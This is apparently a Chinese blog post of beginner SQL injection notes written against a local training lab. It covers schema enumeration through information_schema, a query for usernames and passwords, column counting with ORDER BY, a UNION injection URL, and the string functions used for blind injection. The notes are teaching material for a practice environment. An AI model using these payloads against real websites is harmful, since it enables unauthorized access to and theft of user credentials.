SQL注入基础


查库 select schema_name from information_schema.schemata

查表 select table_name from information_schema.tables where table_schema=''

查列 select column_name from information_schema.columns where table_name =''

查字段 select username,password from security.users;

LIMIT

select * from users where id='1' limit 0,1//执行该语句前需要先选择对应的数据库

limit 0,1 其中 0表示从哪开始,1表示步长

order

select * from users order by 1 //对users这个表中的第一列进行排序,如果不存在这一列则会报错,可以利用这一点获得列数

union 联合查询

应用场景:
要查询的结果来自于多个表,且多个表没有直接的连接关系,但查询的信息一致时

特点:
1、要求多条查询语句的查询列数是一致的
2、要求多条查询语句的查询的每一列的类型和顺序最好一致
3、union关键字默认去重,如果使用union all 可以包含重复项

例子

http://localhost:8888/Less-1/?id=-1' union select 1,2,3--+

执行的mysql语句为

SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1

函数

group_concat()

concat_ws(‘~’,A,B)

注意这里的单引号,我们要尽量避免出现单引号问题,改用十六进制

三个参数分别为 分隔符 数据A 数据B

最终返回结果为 A~B

left(a,b)

•left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

left(database(),1)='s' //第一位是否为s

regexp()

select user() regexp 'r'

结果是r开头的用户名,root等,regexp后面带正则表达式

like()

select user() like like 'ro%' 此处的作用为匹配 开头为“ro”的用户名

substr(a,b,c)

从位置b开始,截取a字符串c位长度

select substr((select database()),1,1)='s’; -- 匹配第一个字符是否是 s
select substr((select database()),1,3)= ‘sec’; -- 匹配前三个个字符是否是 sec

ascii()

将某个字符串转化为ascii值


文章作者: 周master
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 周master !
  目录